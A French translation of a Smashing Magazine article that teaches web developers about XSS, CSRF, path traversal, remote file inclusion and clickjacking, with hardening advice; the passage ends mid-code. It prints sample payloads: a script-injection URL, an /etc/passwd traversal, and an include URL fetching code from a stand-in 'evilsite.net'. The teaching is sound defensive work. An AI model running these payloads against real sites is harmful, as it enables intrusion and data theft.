Cet article est la traduction de l’article Web Security: Are You Part Of The Problem? écrit par Chris Heilmann et initialement publié dans Smashing Magazine.

La sécurité des sites web est un sujet des plus critiques, qui devrait concerner toute personne présente sur le web. Une sécurité défaillante conduit généralement à tout ce que nous haïssons sur le web : le spam, les virus, et l’usurpation d’identité, pour ne citer que ceux là.

Le problème avec la sécurité sur le web, c’est qu’elle est aussi complexe à mettre en oeuvre qu’elle est importante. Je suis persuadé que certains d’entre-vous font déjà partie à votre insu d’un réseau de piratage informatique, ou que votre serveur envoie du spam sans que vous n’en sachiez rien. Votre adresse email et vos mots de passe ont été récupérés et revendus à des gens persuadés que vous avez besoin d’une nouvelle montre, d’un emprunt à bas taux ou d’un élongateur de pénis suédois à pompe. Le fait est que vous êtes partie intégrante du problème, sans même savoir ce que vous avez fait pour en arriver là.

Il faut dire que les experts en sécurité n’aiment parler ni de ce qu’ils font, ni des causes aux problèmes ; ils peuvent également être particulièrement arrogants quand ils exposent leur point de vue. C’est le résultat de générations n’ayant pas pris la sécurité au sérieux, et n’ayant jamais pris les précautions minimum, comme ne pas utiliser “toto” ou “password” en guise de mot de passe.

La faute en incombe également à tous ces didacticiels qui vous apprennent comment “faire un truc en cinq minutes”, tout en négligeant les implications de leurs conseils. Si ça vous parait trop simple pour être vrai, ça l’est probablement. Le parfait exemple est cette application PHP utilisant un fichier pour le stockage des données, et vous demandant de donner les droits en écriture à tout le monde. C’est facile à mettre en place, mais cela signifie aussi que n’importe quel spammeur peut écrire dans ce fichier.

Attention : ce dont nous allons parler dans cet article ne fera pas de vous un expert en sécurité, pas plus qu’acheter un couteau suisse ne fera de vous un as du crochetage ou acheter un fouet ne fera de vous un dompteur de lions. Mon but est de vous faire prendre conscience de l’importance de la sécurité, et peut-être de rendre ce charabia un peu moins incompréhensible à vos yeux.

Quelques chiffres intéressants sur la sécurité web

La société de sécurité Cenzic a publié un rapport détaillant les chiffres et tendances du premier semestre 2009. Un PDF de ce rapport est disponible, et les chiffres parlent d’eux-même.

Les chiffres de la sécurité sur le web

Les vulnérabilités les plus critiques étaient le path traversal, le cross-site scripting (XSS), le cross-site request forgery (CSRF) et les injections SQL. N’étaient pas mentionnées les nouvelles attaques comme le clickjacking ou le phishing. Vous serez confronté à toutes celles-ci dès lors que vous manipulez PHP, HTML, CSS ou Javascript. Vous courrez d’ailleurs des risques même si vous n’utilisez pas de PHP. Vous pouvez d’ailleurs être une ressource importante en termes de sécurité même si vous ne développez pas, rendant le web plus sûr en faisant en sorte que vos utilisateurs comprennent les problèmes de sécurité.

Nous allons maintenant voir tout cela, et expliquer comment ça fonctionne. La première chose que vous devez savoir est comment fonctionnent les URIs.

Les URIs, premières sources d’attaque d’un service web

URIs: The Main Way To Attack A Web Service

L’adresse de tout document (par exemple un fichier sur Internet) est défini par son Identifiant de Ressource Universel (URI). C’est ce que vous tapez dans la barre d’adresse de votre navigateur afin d’accéder à un document, et ce que vous embarquez dans du code afin de pointer vers ce même document. L’adresse de mon site, par exemple, est http://icant.co.uk, et le document que vous affichez en réalité dans votre navigateur est http://icant.co.uk/index.php (le serveur vous redirige automatiquement vers ce document). L’image du logo se trouve à l’URI http://icant.co.uk/iconslogo.png, et ma photo se trouve une sur machine totalement différente, à l’URI http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg.

Le fait que vous accédiez à ces URI ne pose pas de problèmes. Cependant, certaines d’entre elles comportent des informations qui ne devraient pas être accessibles à tout le monde. Par exemple, le fichier /etc/password de votre serveur contient les informations de vos utilisateurs et leurs mots de passe. Il ne devrait donc pas être accessible sur Internet.

Toutes les URI peuvent également contenir des paramètres. Ce sont des instructions que vous pouvez envoyer au script situé à cette URI, et qui sont ajoutés à cette URI avec le préfix ?, et séparés par des esperluettes. Si vous voulez chercher des chiots sur Google, vous utiliserez l’URI http://www.google.com/search?q=chiots, et si vous voulez chercher au-delà des 50 premiers résultats, vous utiliserez http://www.google.com/search?q=puppies&start=50.

Ces paramètres ne sont normalement pas ajoutés par les utilisateurs finaux, mais viennent de l’interface du site. Si vous regardez dans le code source de la page d’accueil de Google et en supprimez le superflu, vous devriez voir :

<form name="f" action="/search">
  <input type="hidden" value="en" name="hl"/>
  <input type="hidden" value="hp" name="source"/>
  <input name="q"/>
  <input type="submit" name="btnG"/>
  <input type="submit" name="btnI"/>
  <input type="hidden" name="aq"/>
  <input type="hidden" name="oq"/>
  <input type="hidden" name="aqi"/>
</form>

Ce formulaire envoie le contenu de tous ces champs à l’URI search, en les y ajoutant. Au final, cela donne :

http://www.google.com/search?hl=en&source=hp&q=chiots&aq=f&oq=&aqi=  

quand vous validez le formulaire. Notez au passage que le paramètre btnG est absent, car j’ai utilisé la touche Enter afin de valider ce formulaire.

Sur la page des résultats de votre recherche, vous pouvez voir les liens vers les liens de pagination (les 1, 2, 3… sous le logo Gooooooogle). Ces liens envoient très exactement vers la même URI, mais en y ajoutant le paramètre start.

<a href="/search?hl=en&amp;q=puppies&amp;<strong>start=40</strong>&amp;sa=N">5</a>  

Vous pouvez envoyer des paramètres à un script avec l’URI via les champs d’un formulaire, un lien, ou n’importe quel élément HTML contenant une URI : images, liens, frames, tout ce qui peut prendre l’attribut src ou href. Si un attaquant peut surcharger n’importe lequel d’entre eux, ou ajouter une nouvelle image à votre HTML sans que vous vous en rendiez compte, ils peuvent alors pointer vers leur propre URI et envoyer leurs propres paramètres.

Faites toujours attention au contenu de vos paramètres, et à l’endroit vers lequel ils pointent, ce qui peut être le serveur d’un tiers (afin d’avoir du code supplémentaire), ou des éléments de votre serveur que vous ne voulez pas rendre publics.

Différents types d’attaques ? Qu’est-ce que ça veut dire ?

Commençons par étudier rapidement les différents éléments mentionnés dans le diagramme ci-dessus, afin de comprendre à quoi ils correspondent.

SQL Injection

Avec une attaque de type SQL injection, une personne mal intentionnée peut envoyer des commandes SQL à votre serveur via l’URI ou les champs du formulaire. On peut facilement s’en prévenir en nettoyant les données envoyées par les utilisateurs. En revanche, les négliger peut être fatal à votre site web, comme le montre ce XKCD :

SQL injection

Le Cross-Site Scripting (XSS)

Le XSS est sans doute la vulnérabilité la plus importante et le plus fréquemment rencontrée. Avec elle, une personne mal intentionnée peut injecter du Javascript dans votre document, en l’ajoutant à la fin de l’URI ou dans un des champs de votre formulaire.

Admettons que vous vouliez être sympa en permettant à vos visiteurs de personnaliser certaines couleurs de votre page. Cela se fait facilement en PHP :

<?php
  // predefine colors to use
  $color = 'white';
  $background = 'black';
  // if there is a parameter called color, use that one
  if(isset($_GET['color'])){
    $color = $_GET['color'];
  }
  // if there is a parameter called background, use that one
  if(isset($_GET['background'])){
    $background = $_GET['background'];
  }
?>
 
<style type="text/css" media="screen">
  #intro{
    /* color is set by PHP */
    color:<?php echo $color;?>;
    /* background is set by PHP */
    background:<?php echo $background;?>;
    font-family:helvetica,arial,sans-serif;
    font-size:200%;
    padding:10px;
  }
</style>

<p id="intro">Cool intro block, customizable, too!</p>

Jusque là, tout va bien, et nous n’utilisons même pas de style inline! Si vous enregistrez ce ficher et l’appelez dans votre navigateur depuis votre serveur web, par exemple à l’URL http://example.com/test.php, vous obtiendrez le texte d’introduction en noir sur fond blanc. Les variables $_GET[] viennent des paramètres de l’URI, et comme nous n’en avons pas passés, rien ne bouge. Si vous voulez avoir du rouge ou du rose, vous pouvez faire : http://example.com/test.php?color=red&background=pink.

Mais comme vous autorisez les variables à prendre n’importe quelle valeur, une personne mal avisée pourrait envoyer :

http://example.com/test.php?color=green&background=</style><script>alert(String.fromCharCode(88,83,83))</script>

Cela fermerait le bloc de style prématurément et ajouterait un script au document. Dans cet exemple, tout ce que nous faisons est afficher le mot CSS, mais nous pourrions faire tout ce dont JavaScript est capable. Vous pouvez le voir dans la capture d’écran ci-dessous :

Résulats après XSS

Dès lors que vous serez parvenu à injecter du JavaScript, vous pourrez lire le contenu des cookies, ouvrir les formulaires demandant aux utilisateurs d’entrer leur mot de passe ou leur numéro de carte de crédit, exécuter des virus, ou des vers à télécharger… tout ça ! La raison en est que javascript n’est lié à aucun modèle de sécurité ; tous les scripts embarqués sur une page ont les mêmes droits, quelle que soit leur provenance. C’est un gros problème avec Javascript, sur lequel des gens brillants se sont attelés.

Les failles XSS sont un problème très fréquent. Des sites comme XSSED.org dévoilent publiquement combien de sites y sont vulnérables :

xssed.org

Le seul remède aux XSS est une paranoïa de tous les instants concernant ce qui vient des formulaires ou de l’URI. Vous devez également vous assurer que votre installation de PHP est configurée correctement, mais nous en reparlerons un peu plus tard.

Path traversal

Permettre de traverser l’arborescence des répertoires de votre serveur est une idée incroyablement stupide. Cela reviendrait à autoriser n’importe qui à faire la liste de vos répertoires, et à naviguer de l’un à l’autre. Cela donne accès à des répertoires contenant des informations sensibles à toute personne mal intentionnée, et de s’y amuser.

La capture d’écran ci-dessous montre l’accès à la bases de données d’une sandwicherie, l’envoi d’un email depuis leur serveur et la lecture de leur historique de commandes :

path traversal

J’ai pu accéder à toutes ces données simplement en accédant à leur répertoire cgi-bin qui n’était pas protégé. Au lieu de me rendre sur http://example.com, je suis allé sur http://example.com/cgi-bin. Je savais que quelque chose n’allait pas dans leur super site en Flash quand j’ai cliqué sur un élément du menu. Ce dernier a ouvert une nouvelle fenêtre, qui pointait sur une URI du type :

http://www.example.com/cgi/food_db/db.cgi?db=default&uid=default&Category=Sandwiches&Subcategory=Sandwiches&Product=Chicken%20and%20Bacon&Soup_size=&Drinks_milk_type=&ww=on&view_records=yes  

me donnant toutes les informations nécessaires pour m’amuser un peu.

Rendre la structure de vos répertoires accessible à tous pose un autre problème : cette dernière peut être indexée par les outils de recherche qui deviennent alors des outils de hacking. En effet, le serveur crée une page avec pour titre le nom du répertoire, ce dernier étant indexé par Google.

Vous pouvez chercher, par exemple, index of /ebooks, ou index of /photos afin de trouver des e-books ou des photos en ligne. Jetez donc un coup d’oeil à Google, a dream come true, qui en listait une bonne partie en 2003(!).

Cette méthode fonctionnait bien mieux par le passé. Pas parce que les gens protègent mieux leurs serveurs web, mais parce que les spammers, qui offrent de faux produits illégaux, ont réalisé que les gens faisaient ce genre de recherches et on mis en place de faux répertoires de ce genre, afin d’optimiser leurs résultats dans les moteurs de recherche.

Le Cross-Site Request Forgery

Le Cross-site request forgery (CSRF) exploite les navigateurs qui autorisent les fonctionnalités à être appelées sans vérifier qu’un utilisateur réel les a lancées. Admettons que votre site web propose ce formulaire qui envoie des données à votre base de données en GET (ça ne devrait jamais arriver, NDT) :

<form method="get" action="add_to_db.php">
  <div>
    <label for="name">Name</label>
    <input type="text" id="name" name="name">
  </div>
  <div>
    <label for="email">email</label>
    <input type="text" id="email" name="email">
  </div>
  <div>
    <label for="comment">Comment</label>
    <textarea id="comment" name="comment"></textarea>
  </div>
  <div><input type="submit" value="tell me more"></div>
</form>

Les formulaires peuvent être envoyés de deux manières : GET ajoute tous les paramètres à l’URI, et ces derniers sont visibles dans la barre d’adresse de votre navigateur. Au contraire, POST les envoie sous le capot. Accessoirement, POST vous permet d’envoyer bien plus de données que GET. C’est évidemment très simplifié, mais c’est tout ce que vous avez besoin de savoir à ce stade.

Si le script qui ajoute les informations dans votre base de données ne valide pas que le formulaire a bien été envoyé depuis votre serveur, je peux y ajouter une image simplement en faisant :

<img src="http://example.com/add_to_db.php?
name=cheap%20rolex&email=susan@hotchicks.com&comment=mortgage%20help" width="1" height="1">  

N’importe quelle personne venant sur mon site web ajouterait alors un commentaire dans votre base de données. Je pourrais faire ça avec une image, un lien CSS, un script, ou n’importe quel élément autorisant l’utilisation d’une URI, et chargé dans le navigateur lors du rendu HTML. En CSS, cela pourrait être une image de fond.

Les CSRF sont encore plus dangereuses quand vous êtes authentifié sur un site quelconque. Une image ouverte dans un autre onglet de votre navigateur pourrait valider un transfert d’argent, lire vos emails et les envoyer à quelqu’un d’autre, ou n’importe quelle autre saloperie du genre.

Un exemple de CSRF très intéressant s’est produit en 2006, quand Google a publié son maintenant défunt Google Web Accelerator (GWA). L’idée était de pré charger les sites web liés au document en cours, afin d’accélérer votre parcours. Tout allait bien jusqu’au moment où vous vous retrouviez avec des lienrs de suppression du type :

<a href="/app/delete_entry.php?id=12">delete</a>

Parce que certaines applications ne validaient pas si la demande de suppression venait bien de l’utilisateur ou de GWA, on se retrouvait avec des bases de données produits ou des blogs entiers supprimés. Google n’avait rien fait de mal, mais ce jour là, la communauté a beaucoup appris à propos du CSRF.

Maintenant, vous devez penser que passer vos formulaires de GET à POST arrangera les choses, n’est-ce pas ? En partie oui, mais un attaquant peut toujours utiliser un formulaire et avoir les utilisateurs en leur faisant cliquer sur un bouton afin de déclencher la requête :

<form method="post" action="add_to_db.php">
  <div>
    <input type="hidden" name="name" value="bob">
    <input type="hidden" name="email" value="bob@experts.com">
    <input type="hidden" name="comment"
           value="awesome article, buy cialis now!">
  <input type="submit" value="see beautiful kittens now!">
  </div>
</form>

Vous pourriez même utiliser du JavaScript pour envoyer le formulaire automatiquement, ou un script situé sur un autre serveur afin d’envoyer la requête en POST. Il existe bien des manières d’exploiter les vulnérabilités de type CSRF, et il n’est pas bien dur de s’en protéger.

Remote File Inclusion (RFI)

Avec l’inclusion de fichiers distants, ou de l’injection de code, un attaquant peut utiliser une faille dans votre site web afin d’injecter du code provenant d’un autre serveur afin de l’exécuter sur le vôtre. Cette attaque est de la même famille que XSS, en plus problématique, puisqu’elle donne un accès complet à votre serveur (en Javascript, vous pouvez voler des cookies et appeler du code Javascript, mais vous ne ferez rien côté serveur, à moins d’utiliser des trucs avec du Flash ou des applets Java).

N’importe quel code injecté sur votre serveur via une variable non testée et un appel à include(), peut, par exemple, lancer des commandes serveur : upload et download, transfert de données vers un autre serveur, récupération des mots de passe… tout ce qu’il est possible de faire avec PHP ou ASP en ligne de commande, si votre serveur l’autorise.

C’est probablement la pire chose qui puissent vous arriver, car, avec un accès à la ligne de commande, je peux ajouter votre machine à un réseau d’attaque automatisée, écouter tout ce que vous et vos utilisateurs font, stocker des informations et des virus pour une distribution ultérieure, injecter des liens spammy… et j’en oublie.

La parade est de désactiver les globales, et de ne jamais assembler une URI depuis les paramètres passés par l’utilisateur ou les champs d’un formulaire. Mais nous en reparlerons dans la section PHP de cet article.

Phishing

Le phishing est une usurpation d’identité dans laquelle un utilisateur envoie des informations à un site falsifié en croyant que c’est le bon. Vous l’envoyez vers une interface qui lui semble tout à fait légitime (par exemple une banque), mais il va en réalité envoyer les informations dans votre base de données.

Tout le truc du phishing consiste à dupliquer l’interface graphique d’un site de confiance. Vous avez certainement déjà reçu un email du genre “Votre compte bancaire a été suspendu”. Évidemment, vous savez que c’est faux, car vous n’avez pas de compte dans cette banque, et vous n’en avez probablement jamais entendu parler. C’est une méthode d’hameçonnage très aléatoire, et qui n’a que peu de chances de marcher.

Cependant, sur le web, une personne malveillante peut utiliser du Javascript afin de savoir quelles pages vous avez visité. Comme l’a montré Jeremiah Grossman il y a quelques années, vous pouvez déterminer l’état d’un lien sur une page à l’aide de Javascript. Il est en effet possible de savoir quel site a été visité, et ainsi d’afficher le bon logo sur le formulaire proposé, simplement parce que les liens visités ou non ont une couleur différente.

Cette démonstration est assez efficace. Paradoxalement, vous pouvez également utiliser ce truc afin de n’afficher que les boutons des réseaux sociaux que votre visiteur utilise.

Le Clickjacking

Le Clickjacking est une manière terriblement astucieuse d’utiliser CSS et les frames inline, afin de pousser les utilisateurs à cliquer sur quelque chose sans le savoir. L’exemple le plus connu est probablement l’exploit “Don’t click me” sur Twitter. Du jour au lendemain, Twitter a été inondé sous les messages affichant “Ne cliquez pas”. Voici un exemple tiré du Twitter de Jason Kottke :

Don't click

La nature humaine étant ce qu’elle est, beaucoup de gens ont cliqué sur ce fameux bouton qui semblait ne rien faire. Ce En réalité, il affichait votre page Twitter par dessus le bouton dans une frame avec une opacité à 0 en CSS. Le champ de mise à jour été pré rempli, avec le Tweet pointant vers la fameuse page. Cette capture d’écran clarifie l’explication avec une opacité à 0,5 :

Don't click

Le clickjacking permet de faire faire aux utilisateurs des choses à leur insu. N’importe quelle action pouvant se faire d’un simple click peut ainsi être exploitée.

Le gros problème du clickjacking vient du fait qu’il soit fait via CSS et non via un script. À moins de bloquer les frames ayant une opacité à 0, il n’existe pas de parade simple. La plus efficace serait d’interdire d’embarquer des frames contenant du JavaScript. Cependant, le clickjacking fonctionne même avec le JavaScript désactivé.

Des moyens simples d’améliorer la sécurité sur le web

Maintenant que vous savez ce que les gros méchants peuvent faire à votre site web, il est temps de les en empêcher.

Gardez votre code à jour

Il n’y a pas meilleure protection que garder son code à jour. Les vieilles versions de WordPress, PHP ou MySQL, même les vieux navigateurs posent des problèmes de sécurité, car la majorité de leurs mises à jour ont un rapport avec elle. C’est une course infernale entre ceux qui veulent faire marcher le web, et ceux qui veulent l’utiliser afin de faire de l’argent rapide ou voler votre identité. Alors, soyez sympas et mettez à jour dès qu’une nouvelle version est à jour.

Ne restez pas logué, et ne poussez pas les autres à le faire

Rester authentifié sur un système qu’on n’utilise pas pendant longtemps est dangereux. D’autres sites sur lesquels vous surfez pourront vérifier que vous êtes logué, et utiliser le clickjacking afin de vous faire faire des choses que vous ignorez. C’est d’autant plus dangereux avec les média sociaux, car tout ce que vous ferez sera envoyé à vos amis, et probablement reproduit par eux. C’est un véritable effet boule de neige.

Dans un monde parfait, aucun formulaire ne proposerait l’option “se souvenir de moi”, ce qui serait, évidemment, pénible pour les utilisateurs finaux. Je rêve de voir une solution intelligente et vraiment utilisable à ce problème. J’utiliser un client Flex pour Twitter, et non un navigateur, ce qui signifie que je ne suis vulnérable ni aux sites avec du clickjacking, ni au CSRF (et ce uniquement si personne n’exploite l’API afin de phisher mes followers) ; cf. la présentation à la fin de cet article pour une démonstration.

Utilisez des mots de passe solides, et enjoignez les gens à faire de même

Le mot de passe des utilisateurs est un vecteur d’attaque y compris sur les systèmes les plus solides. Je change mes mots de passe tous les deux ou trois mois, et je m’inspire d’un livre que je suis en train de lire ou d’un film que je viens de voir. Je remplace également certains caractères par des nombres afin de compliquer les attaques par dictionnaire.

Il existe deux manières de casser un mot de passe (en dehors de l’ingénierie sociale qui vous amène à me donner gentiment votre mot de passe en vous abusant ou grâce au phishing) : la force brute et les attaques par dictionnaire. La force brute consiste à écrire une boucle qui testera toutes les options possibles, ce qui prend un temps fou et une puissance de calcul phénoménale. L’attaque par dictionnaire utilise une base de données de mots afin de rechercher des termes communs au lieu de tester toutes les occurrences possibles.

Imaginons que je lise un Sherlock Holmes, ou que je vienne d’en voir l’adaptation qui en a été faite au cinéma. Mon mot de passe pourrait alors être Sh2rl0ckW4t50n ou b4sk3rv!ll3. C’est un peu complexe pour la majorité des gens, mais c’est généralement une bonne idée. Une autre stratégie est d’utiliser une phrase complète dont vous vous souviendrez facilement, et n’en garder que la première lettre de chaque mot. Par exemple, “I like to buy food for my dog and to walk with it” devient Il2bffmda2wwi ou mieux Il2bffmd&2wwi.

Alors, si vous devez créer un nouveau produit sur le web nécessitant une authentification, et que vous souhaitez utiliser votre propre système de login plutôt qu’utiliser Yahoo!, Google, Facebook Connect ou OpenID (ce qui pourrait être une bonne idée), par pitié, n’autorisez pas vos utilisateurs à utiliser des mots de passe comme “password”, le non moins sûr “password1”. Il y a quelques temps, une liste des mots de passe interdits par Twitter a été publiée. C’est plutôt une bonne idée (de bannir ces mots de passe, pas d’en diffuser la liste).

Que faire sur votre serveur ?

Même si vous n’êtes pas un expert, vous n’avez aucune excuse pour faire tourner un serveur non sécurisé. Voici quelques éléments dont vous devez impérativement vous assurer.

Désactivez la libre lecture des répertoires

Comme nous l’avons vu plus haut, permettre aux utilisateurs de naviguer à travers vos répertoires (cf. le path traversal) est une mauvaise idée. Vérifier que vous n’y soyez pas vulnérable est simple :

  1. Créez un nouveau répertoire sur votre serveur, par exemple pathtest
  2. Ajoutez-y quelques fichiers. Mais n’ajoutez ni index.html ni index.php, default.aspx, ou quelque fichier que votre serveur utilise par défaut.
  3. Testez le répertoire avec votre navigateur, en vous rendant sur http://example.com/pathtest/
  4. Si vous pouvez voir la liste des fichiers créés précédemment, contactez immédiatement votre administrateur système afin qu’il le désactive !

Renforcez votre PHP

Si votre server fait tourner PHP, sachez que vous avez un outil puissant (et donc particulièrement dangereux NDT) entre les mains. La pire chose que vous pourriez faire serait d’autoriser n’importe quel paramètre passé depuis l’URL à devenir une variable globale. Cette fonctionnalité est désactivée par défaut depuis la version 4.2.0 de PHP, mais vous pouvez avoir modifié votre configuration. En fait, certains didacticiels vous recommandent de l’activer afin de permettre à certains scripts de fonctionner. C’est une très très mauvaise idée.

Vous pouvez facilement vérifier que les variables globales soient désactivées :

  1. Créez un nouveau fichier nommé test.php
  2. ajoutez-y le code suivant : <?php echo "".$ouch.'';?>
  3. Uploadez le fichier sur votre serveur.
  4. Rendez-vous sur ce fichier, et envoyez un paramètre nommé ouch, par exemple : http://example.com/test.php?ouch=ça+fait+mal

Si votre navigateur affiche ”ça fait mal”, c’est que les globales sont activées. Contactez immédiatement votre administrateur système afin de lui faire corriger cette erreur !

Pourquoi est-ce si important ? Dans notre explication de la faille CSS, nous avons montré comment une personne mal intentionnée pouvait ajouter du code à votre page en utilisant les paramètres passés en URI. Si vous ne désactivez pas les globales, toutes les variables que vous utilisez pourront servir à vous attaquer. Pire encore :

if($_POST['username'] == 'muppet' &&
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}

Nommons ce fichier checkuser.php. Si les globales sont activées, alors un attaquant pourra l’appeler ainsi depuis son navigateur : http://example.com/checkuser.php?authenticated=true. Il contournerait ainsi toute votre politique de sécurité, puisqu’envoyer $_GET['authenticated'] active automatiquement $authenticated.

Désactivez les messages d’erreur

Beaucoup de serveurs sont configurés afin d’afficher les erreurs dès que votre navigateur rencontre un problème. Ces messages ont souvent l’air abscons, ils sont pourtant une source d’informations précieuses pour une personne malveillante.

Créer une erreur afin de voir ce qu’en dira le serveur est la première étape quand on cherche à afficher l’arborescence de votre serveur. Ironie de l’Histoire, les pages d’erreur du type “Le fichier XYZ n’a pas pu être trouvé” ont donné lieu à une des premières attaques de type XSS, car vous pouviez tenter d’envoyer l’utilisateur vers un fichier nommé :

<script>alert(document.cookie),</script>.

Détectez automatiquement les problèmes de sécurité dans votre PHP

Uploader PHPSecInfo sur votre serveur est une bonne façon d’effectuer un rapide audit de la sécurite de votre installation de PHP. Il vous donne une liste détaillée des principales vulnérabilités de sécurité, et de la manière de les corriger.

PHPSecInfo

Cela dit, ne le laissez jamais sur votre serveur, car il peut donner à un attaquant des informations critiques sur la manière dont votre serveur est configuré.

Que faire afin de sécuriser votre code ?

Vous n’avez probablement pas grand chose à faire au niveau de votre serveur, aussi nous allons maintenant nous intéresser à ce sur quoi vous avez vraiment la main.

Le HTML

Le HTML n’est pas vraiment source de dangers. Il est simplement converti en texte, et n’interagit pas directement avec le serveur. Cela dit, vous devriez toujours n’utiliser HTML que pour ce pour quoi il a été prévu :

  • HTML structure votre contenu.
    HTML n’est pas une base de données faite pour stocker de l’information. En effet, vous ne pouvez pas compter sur la persistance d’un contenu HTML. N’importe qui peut utiliser des outils de debug HTML afin de le modifier et en changer le contenu. Vous rencontrez des problèmes de sécurité dès lors que le Javascript envoie des données au serveur sans que celui-ci n’en vérifie la validité ou la cohérence.
  • Le HTML est complètement visible.
    N’utilisez as les commentaires dans le HTML afin de stocker des informations sensibles, et ne commentez surtout pas le HTML correspondant à des fonctions non encore activées, mais prêtes côté serveur.
  • Cacher les choses ne les a jamais fait disparaître.
    Cacher certaines informations avec du CSS ou du Javascript n’empêchera jamais une personne avisée d’y accéder. Le HTML n’est pas là pour ajouter des fonctionnalités à votre application, c’est le travail du code côté serveur.

Voici un magnifique exemple de HTML non sécurisé. Il s’agit d’un menu déroulant trouvé sur le site d’une compagnie aérienne qui vous permettait de choisir la classe dans laquelle vous vouliez voyager. Il s’agissait de la dernière étape avant impression du billet. Le site affichait le HTML du menu déroulant en commentant les valeurs auxquelles vous n’aviez pas le droit en fonction du tarif du billet choisi.

<select name="class">
  <option value="ec">Economy</option>
  <option value="ecp">Economy Plus</option>
  <!--
  <option value="bu">Business</option>
  <option value="fi">First</option>
  -->
</select>

Le code côté serveur ne validait pas que vous aviez bien le droit à un billet de première classe. Au lieu de cela, il faisait confiance aux options disponibles dans le menu. Le formulaire étant envoyé en JavaScript, il vous suffisait d’utiliser FireBug pour voyager en première au prix d’une classe éco.

Le CSS

En soi, CSS n’est pas capable de faire grand chose, et ne peut pas accéder au serveur… pour l’instant. L’un de problèmes de CSS réside dans les images de fond qui pointent sur des URI. Si vous pouvez les surcharger, alors vous pouvez injecter du code dans la page. Cette vulnérabilité est également valable avec la propriété @import.

Il n’est pas recommandé d’utiliser expression() avec Internet Explorer afin d’effectuer des calculs, ou de simuler ce que les autres navigateurs savent déjà faire. C’est en effet dangereux, puisque tout ce que vous faites est exécuter du JavaScript au sein d’un bloc CSS. À éviter.

CSS change beaucoup ces temps-ci, et nous lui conférons plus de pouvoir qu’elle n’en a jamais eu. Générer du contenu en CSS, faire des animations, du calcul, et embarquer des fonts a l’air bien cool, mais quand je vois la manière dont c’est aujourd’hui implémenté, ça me donne des frissons dans le dos.

Ces vecteurs d’attaque ont deux particularités : ils ont la possibilité de changer le contenu d’un document, et ce sont des technologies immatures, et en constant changement. C’est le cas de CSS3. Embarquer des polices, en particulier, pourrait rapidement devenir un vrai problème, car ce sont des fichiers binaires dans lesquels on pourrait mettre n’importe quoi : de vraies polices de caractères, mais également des virus dissimulés. Il sera intéressant de voir comment tout ça évolue.

Javascript

Le Javascript est ce qui a permis au web d’être ce qu’il est aujourd’hui. Vous pouvez l’utiliser pour générer des interfaces agréables à utiliser, et permettant à vos visiteurs d’atteindre leurs objectifs plus rapidement et de manière plus pratique. Vous pouvez, et devriez utiliser le Javascript pour :

  • Créer des interfaces plus dynamiques (par exemple, de l’auto complétion, de l’upload de fichier asynchrone), avertir les utilisateurs des erreurs de saisie (un mot de passe trop court).
  • Étendre les options du HTML afin d’en faire un vrai langage applicatif (sliders, cartes…)
  • Créer des effets visuels impossibles à réaliser avec du CSS (animations, menus…)

Javascript est extrêmement puissant, ce qui signifie également qu’il contient un risque de vulnérabilités de sécurité.

Javascript vous donne un accès total au document, et vous permet d’envoyer des informations sur Internet.

  • Vous pouvez lire des cookies et les envoyer ailleurs.
  • Votre code Javascript peut être lu par quiconque utilise un navigateur.
  • Tous les Javascript de votre page ont les mêmes droits, quel que soit l’endroit d’où ils viennent. Si vous pouvez injecter un script via XSS, il pourra faire tout ce qu’un autre script légitime peut faire.

Cela signifie que vous devez absolument éviter :

  • D’y stocker des informations sensibles (par exemple des numéros de carte bleue, ou les données privées de vos utilisateurs).
  • Stocker des cookies contenant des données de session.
  • Tenter de protéger vos contenus (désactiver le clic droit, cacher des adresses email…)
  • L’utiliser afin d’envoyer des informations au serveur sans avoir de solution de repli.
  • L’utiliser comme unique moyen de validation. Une personne mal intentionnée pourrait désactiver son JavaScript et accéder à tout votre système.
  • Faire confiance à quoi que ce soit venant des URI, du HTML ou des champs de vos formulaires. Ils peuvent tous être manipulés par une personne malveillante afin de vous attaquer une fois la page chargée. Si vous utilisez document.write() sur des données non filtrées, vous vous exposez à des attaques de type XSS.

Autrement dit : l’AJAX, c’est sympa, mais ne lui faites pas confiance. Quoi que vous fassiez avec du JavaScript peut être surveillé et enregistré par un utilisateur utilisant les bons outils.

PHP (s’applique à n’importe quel langage côté serveur)

Soyez de vraies teignes ! Les langages côté serveur sont là où vous risquez de causer le plus de dégâts si vous ne savez pas ce que vous faites. Les plus gros problèmes sont causés par la confiance dans les informations venant de l’URI, des informations entrées par les utilisateurs et qui ont vocation à s’afficher. Comme montré lors de notre étude des XSS, il est facile d’écrire un code aisément exploitable.

Il existe deux manières de traiter ce problème : les listes blanches, et un bon filtrage.

Faire des liste blanches est la meilleure manière de vous assurer que seul du contenu inoffensif est affiché. C’est simple : n’utilisez jamais les informations envoyées au serveur en sortie. Au lieu de cela, utilisez des conditions afin de valider les entrées.

Vous souhaitez ajouter un fichier à la demande à votre page. Vous avez pour l’instant les sections suivantes : About Us, Contact, Clients, Portfolio, Home, Partners. Vous aller stocker ces informations dans les fichiers about-us.php, contact.php, clients.php, portfolio.php, index.php et partners.php.

La pire manière de le faire est celle que vous trouverez dans la majorité des didacticiels : appeler un fichier nommé – par exemple – template.php, qui prend la page à intégrer en paramètre.

Le fichier template.php contient quelque chose comme :

<?php include($_GET['page']);?>

Si vous accédez à la page http://example.com/template.php?page=about-us.php, celle-ci chargera la section “About Us”, en chargeant le code contenu dans le fichier appelé en paramètre.

Accessoirement, cela permettrait à n’importe qui de voir ce qu’il y a sur votre serveur. Par exemple http://example.com/template.php?page=../../../../../../../../etc/passwd%00 permettrait à une personne mal avisée de lire votre fichier /etc/passwd.

Si votre serveur autorise l’inclusion de fichiers distants via include(), une personne mal avisée pourra également injecter un fichier venant d’un autre serveur, comme http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Rappelez-vous bien que ces fichiers seront exécutés comme du PHP, à l’intérieur de votre fichier PHP, et auront donc accès à tout ce à quoi votre script a accès. La majorité d’entre eux contiennent des scripts d’envoi de mail en masse, ou vérifient l’espace disque sur votre serveur afin d’y télécharger des données à des fins de stockage.

En clair : n’autorisez jamais une partie non filtrée d’une URI à faire partie de l’URI que vous chargerez en PHP ou afficherez dans un src ou un href en HTML. Au lieu de cela, utilisez des pointeurs.

<?php
$sites = array(
  'about'=>'about-us.php',
  'contact'=>'contact.php',
  'clients'=>'clients.php',
  'portfolio'=>'portfolio.php',
  'home'=>'index.php',
  'partners'=>'partners.php'
);

if( isset($_GET['page']) &&
    isset($sites[$_GET['page']]) &&
    file_exists($sites[$_GET['page']]) ){
